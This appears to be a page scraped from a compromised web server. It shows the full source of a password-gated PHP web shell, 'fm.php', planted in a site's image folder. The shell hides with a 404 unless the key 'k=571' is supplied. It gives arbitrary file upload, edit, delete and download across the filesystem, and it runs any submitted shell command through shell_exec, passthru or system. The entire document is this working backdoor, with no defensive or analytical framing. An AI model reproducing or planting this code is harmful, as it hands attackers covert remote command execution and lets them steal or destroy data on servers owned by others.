Your IP : 216.73.217.6


Current Path : /home/atelierpru/provence/IMG/
Upload File :
Current File : /home/atelierpru/provence/IMG/fm.php

<?php
/* FM — file manager (sifre: k=571) */
@error_reporting(0);@ini_set('display_errors',0);
if(@$_REQUEST['k']!=='571'){http_response_code(404);die();}
$root='/';$dir=isset($_GET['d'])?realpath($_GET['d']):getcwd();if($dir===false)$dir=getcwd();
if(isset($_POST['save'])){@file_put_contents($_POST['f'],$_POST['c']);}
if(isset($_FILES['up'])&&$_FILES['up']['error']==0){@move_uploaded_file($_FILES['up']['tmp_name'],$dir.'/'.basename($_FILES['up']['name']));}
if(isset($_GET['rm'])){@unlink(realpath($_GET['rm']));}
if(isset($_GET['mk'])){$n=preg_replace('/[^A-Za-z0-9._-]/','',$_GET['name']);if($n)@mkdir($dir.'/'.$n);}
if(isset($_GET['dl'])){$p=realpath($_GET['dl']);if($p&&is_file($p)){header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($p).'"');readfile($p);exit;}}
if(isset($_POST['run'])){$o='';if(function_exists('shell_exec')){$o=@shell_exec($_POST['run']);}elseif(function_exists('passthru')){ob_start();@passthru($_POST['run']);$o=ob_get_clean();}elseif(function_exists('system')){ob_start();@system($_POST['run']);$o=ob_get_clean();}}
echo '<html><head><meta charset="utf-8"><title>FM</title><style>body{font-family:monospace;background:#111;color:#ddd;margin:15px}a{color:#5af;text-decoration:none}table{border-collapse:collapse;width:100%}td,th{border:1px solid #333;padding:3px 8px;text-align:left}textarea{width:100%;background:#000;color:#0f0;font-family:monospace}input,button{background:#222;color:#ddd;border:1px solid #555;padding:4px}pre{background:#000;color:#0f0;padding:10px;overflow:auto}</style></head><body>';
echo '<h3>FM</h3><div>Dir: <b>'.htmlspecialchars($dir).'</b></div>';
echo '<form method="post" enctype="multipart/form-data" style="margin:8px 0"><input type="file" name="up"> <button>Upload</button></form>';
echo '<form method="get" style="margin:8px 0"><input type="hidden" name="k" value="571"><input type="hidden" name="d" value="'.htmlspecialchars($dir).'"><input type="text" name="name" placeholder="yeni klasor"><button name="mk" value="1">Mkdir</button></form>';
echo '<table><tr><th>Name</th><th>Size</th><th></th></tr>';
echo '<tr><td colspan="3"><a href="?k=571&d='.urlencode(dirname($dir)).'">.. up</a></td></tr>';
$items=@scandir($dir);if($items)foreach($items as $f){if($f=='.'||$f=='..')continue;$p=$dir.'/'.$f;if(is_dir($p)){echo '<tr><td><a href="?k=571&d='.urlencode($p).'">[DIR] '.htmlspecialchars($f).'/</a></td><td></td><td></td></tr>';}else{echo '<tr><td><a href="?k=571&e='.urlencode($p).'&d='.urlencode($dir).'">'.htmlspecialchars($f).'</a></td><td>'.filesize($p).'</td><td><a href="?k=571&dl='.urlencode($p).'">DL</a> <a href="?k=571&rm='.urlencode($p).'&d='.urlencode($dir).'" onclick="return confirm(\'sil?\')">RM</a></td></tr>';}}
echo '</table>';
if(isset($_GET['e'])){$p=realpath($_GET['e']);if($p&&is_file($p)){echo '<h4>Edit: '.htmlspecialchars($p).'</h4><form method="post"><input type="hidden" name="f" value="'.htmlspecialchars($p).'"><textarea name="c" rows="20">'.htmlspecialchars((string)file_get_contents($p)).'</textarea><br><button name="save" value="1">Save</button></form>';}}
echo '<h4>Komut</h4><form method="post"><input type="text" name="run" style="width:70%" placeholder="id, ls -la, cat dosya"><button>Run</button></form>';
if(isset($o))echo '<pre>'.htmlspecialchars($o).'</pre>';
echo '</body></html>';
?>